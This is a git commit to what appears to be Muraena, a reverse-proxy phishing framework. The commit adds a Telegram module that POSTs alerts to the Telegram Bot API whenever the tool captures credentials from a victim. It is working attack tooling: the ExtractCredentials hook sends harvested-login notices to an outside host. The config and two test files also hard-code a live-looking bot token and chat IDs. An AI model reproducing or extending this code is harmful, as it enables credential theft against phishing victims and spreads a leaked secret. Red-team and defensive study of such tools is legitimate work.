Add Telegram module

This commit is contained in:
Giuseppe Trotta 2022-11-16 14:07:24 +01:00
parent 45c056a8eb
commit 0619dee321
No known key found for this signature in database
GPG key ID: DB8F64DA3FD8FE10
13 changed files with 281 additions and 10 deletions

View file

@ -267,3 +267,11 @@ enabled = false
end = "&"
#
# TELEGRAM
#
[telegram]
enabled = true
botToken = "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo"
chatIDs = ["-1001856562703"]

View file

@ -112,7 +112,7 @@ func (muraena *MuraenaProxy) RequestBodyProcessor(request *http.Request, track *
func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) {
sess := muraena.Session
sess := muraena.Session
base64 := Base64{
sess.Config.Transform.Base64.Enabled,
sess.Config.Transform.Base64.Padding,
@ -165,7 +165,6 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
// Restore query string with new values
request.URL.RawQuery = query.Encode()
// Remove headers
for _, header := range sess.Config.Remove.Request.Headers {
request.Header.Del(header)

View file

@ -101,8 +101,6 @@ func Run(sess *session.Session) {
lline := fmt.Sprintf("Muraena is alive on %s \n[ %s ] ==> [ %s ]", tui.Green(listeningAddress), tui.Yellow(sess.Config.Proxy.Phishing), tui.Green(sess.Config.Proxy.Target))
log.Info(lline)
if *sess.Options.Proxy {
// If HTTP_PROXY or HTTPS_PROXY env variables are defined
// all the proxy traffic will be forwarded to the defined proxy.
@ -114,7 +112,7 @@ func Run(sess *session.Session) {
}
if env == "" {
log.Error( "Unable to find proxy setup from environment variables HTTP_PROXY and HTTPs_PROXY." )
log.Error("Unable to find proxy setup from environment variables HTTP_PROXY and HTTPs_PROXY.")
} else {
log.Info("Muraena will be proxied to: %s", env)
}

View file

@ -4,6 +4,7 @@ import (
"github.com/muraenateam/muraena/module/crawler"
"github.com/muraenateam/muraena/module/necrobrowser"
"github.com/muraenateam/muraena/module/statichttp"
"github.com/muraenateam/muraena/module/telegram"
"github.com/muraenateam/muraena/module/tracking"
"github.com/muraenateam/muraena/module/watchdog"
"github.com/muraenateam/muraena/session"
@ -16,4 +17,5 @@ func LoadModules(s *session.Session) {
s.Register(tracking.Load(s))
s.Register(necrobrowser.Load(s))
s.Register(watchdog.Load(s))
s.Register(telegram.Load(s))
}

2
module/telegram/doc.go Normal file
View file

@ -0,0 +1,2 @@
// Package telegram is a module that sends notification to a Telegram chat when certain conditions trigger
package telegram

150
module/telegram/telegram.go Normal file
View file

@ -0,0 +1,150 @@
package telegram
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"github.com/evilsocket/islazy/tui"
"github.com/muraenateam/muraena/log"
"github.com/muraenateam/muraena/session"
)
const (
Name = "telegram"
Description = "A module that sends notifications via Telegram chat"
Author = "Muraena Team"
)
// Telegram module
type Telegram struct {
session.SessionModule
Enabled bool
BotToken string
ChatID []string
}
// Name returns the module name
func (module *Telegram) Name() string {
return Name
}
// Description returns the module description
func (module *Telegram) Description() string {
return Description
}
// Author returns the module author
func (module *Telegram) Author() string {
return Author
}
// Prompt prints module status based on the provided parameters
func (module *Telegram) Prompt() {
menu := []string{
"show",
}
result, err := session.DoModulePrompt(Name, menu)
if err != nil {
return
}
switch result {
case "show":
module.PrintConfig()
}
}
// Load configures the module by initializing its main structure and variables
func Load(s *session.Session) (m *Telegram, err error) {
m = &Telegram{
SessionModule: session.NewSessionModule(Name, s),
Enabled: s.Config.Telegram.Enabled,
BotToken: s.Config.Telegram.BotToken,
ChatID: s.Config.Telegram.ChatIDs,
}
if !m.Enabled {
m.Debug("is disabled")
return
}
return
}
func Self(s *session.Session) *Telegram {
m, err := s.Module(Name)
if err != nil {
log.Error("%s", err)
} else {
mod, ok := m.(*Telegram)
if ok {
return mod
}
}
return nil
}
// PrintConfig shows the actual Telegram configuration
func (module *Telegram) PrintConfig() {
module.Info("Telegram config:\n\tBotToken: %s\n\tChatIDs:%v", module.BotToken, module.ChatID)
}
func (module *Telegram) getUrl() string {
return fmt.Sprintf("https://api.telegram.org/bot%s", module.BotToken)
}
func (module *Telegram) Send(message string) {
if !module.Enabled {
return
}
for _, chat := range module.ChatID {
if err := module.sendToChat(chat, message); err != nil {
module.Warning("Message %s was not delivered to chat:%s", tui.Bold(message), tui.Bold(chat))
module.Debug("%s", tui.Red(err.Error()))
}
}
}
func (module *Telegram) sendToChat(chat, message string) (err error) {
var response *http.Response
//module.Debug(`curl https://api.telegram.org/bot%s/sendMessage -H "Content-Type: application/json" -v -d '{"chat_id":"%s","text":"%s"}'`, module.BotToken, chat, message)
// Send the message
url := fmt.Sprintf("%s/sendMessage", module.getUrl())
body, _ := json.Marshal(map[string]string{
"chat_id": chat,
"text": message,
})
response, err = http.Post(
url,
"application/json",
bytes.NewBuffer(body),
)
if err != nil {
return err
}
// Close the request at the end
defer response.Body.Close()
// Body
body, err = ioutil.ReadAll(response.Body)
if err != nil {
return
}
module.Debug("%s", string(body))
return
}

View file

@ -0,0 +1,36 @@
package telegram
import (
"regexp"
"testing"
"github.com/muraenateam/muraena/core"
"github.com/muraenateam/muraena/log"
)
var m *Telegram
// init test
func init() {
log.Init(core.Options{Debug: &[]bool{true}[0]}, false, "")
// LoadModules load modules
m = &Telegram{
Enabled: true,
BotToken: "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo",
ChatID: []string{"@muraenatest_5305919037"},
}
}
// TestModuleName ensures the module is the same, just in case :)
func TestModuleName(t *testing.T) {
module := "telegram"
want := regexp.MustCompile(Name)
if !want.MatchString(Name) {
t.Fatalf(`The module name does not match: %q != %q`, module, want)
}
}
func TestSendMessage(t *testing.T) {
m.Send("Muraena testing message")
}

View file

@ -13,6 +13,7 @@ import (
"time"
"github.com/manifoldco/promptui"
"github.com/muraenateam/muraena/module/telegram"
"github.com/muraenateam/muraena/core"
"github.com/muraenateam/muraena/core/db"
@ -450,8 +451,14 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo
if err != nil {
return false, err
}
t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds. Value)
t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds.Value)
found = true
tel := telegram.Self(t.Session)
if tel != nil {
message := fmt.Sprintf("[%s] New credentials! [%s]", t.ID, creds.Key)
tel.Send(message)
}
}
}
}

View file

@ -0,0 +1,61 @@
package tracking
import (
"regexp"
"testing"
"time"
"github.com/muraenateam/muraena/core"
"github.com/muraenateam/muraena/core/db"
"github.com/muraenateam/muraena/log"
"github.com/muraenateam/muraena/module/telegram"
"github.com/muraenateam/muraena/session"
)
var m *Tracker
// init test
func init() {
log.Init(core.Options{Debug: &[]bool{true}[0]}, false, "")
s := &session.Session{}
s.Config = &session.Configuration{}
m = &Tracker{
SessionModule: session.NewSessionModule(Name, s),
Enabled: true,
}
s.Register(&telegram.Telegram{
SessionModule: session.NewSessionModule(telegram.Name, s),
Enabled: true,
BotToken: "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo",
ChatID: []string{"-1001856562703"},
}, nil)
s.InitRedis()
}
// TestModuleName ensures the module is the same, just in case :)
func TestModuleName(t *testing.T) {
module := "tracking"
want := regexp.MustCompile(Name)
if !want.MatchString(Name) {
t.Fatalf(`The module name does not match: %q != %q`, module, want)
}
}
// TestModuleName ensures the module is the same, just in case :)
func TestPushVictim(t *testing.T) {
v := &db.Victim{
ID: "AAAAA",
IP: "192.157.1.1",
UA: "Parakalo file mou",
RequestCount: 0,
FirstSeen: time.Now().UTC().Format("2006-01-02 15:04:05"),
LastSeen: time.Now().UTC().Format("2006-01-02 15:04:05"),
}
m.PushVictim(v)
}

View file

@ -6,9 +6,8 @@ import (
"os"
"time"
"github.com/muraenateam/muraena/module/necrobrowser"
"github.com/evilsocket/islazy/tui"
"github.com/muraenateam/muraena/module/necrobrowser"
"github.com/muraenateam/muraena/core/db"
"github.com/muraenateam/muraena/log"

View file

@ -32,7 +32,7 @@ func init() {
// TestModuleName ensures the module is the same, just in case :)
func TestModuleName(t *testing.T) {
module := "watchdog"
want := regexp.MustCompile(module)
want := regexp.MustCompile(Name)
if !want.MatchString(Name) {
t.Fatalf(`The module name does not match: %q != %q`, module, want)
}

View file

@ -224,6 +224,15 @@ type Configuration struct {
End string `toml:"end"`
} `toml:"patterns"`
} `toml:"tracking"`
//
// Telegram
//
Telegram struct {
Enabled bool `toml:"enabled"`
BotToken string `toml:"botToken"`
ChatIDs []string `toml:"chatIDs"`
} `toml:"telegram"`
}
// GetConfiguration returns the configuration object

View file

@ -18,7 +18,7 @@ var tlsRenegotiationToConst = map[string]tls.RenegotiationSupport{
"FREELY": tls.RenegotiateFreelyAsClient,
}
func (s *Session) GetTLSClientConfig() *tls.Config{
func (s *Session) GetTLSClientConfig() *tls.Config {
cTLS := s.Config.TLS
return &tls.Config{
MinVersion: tlsVersionToConst[cTLS.MinVersion],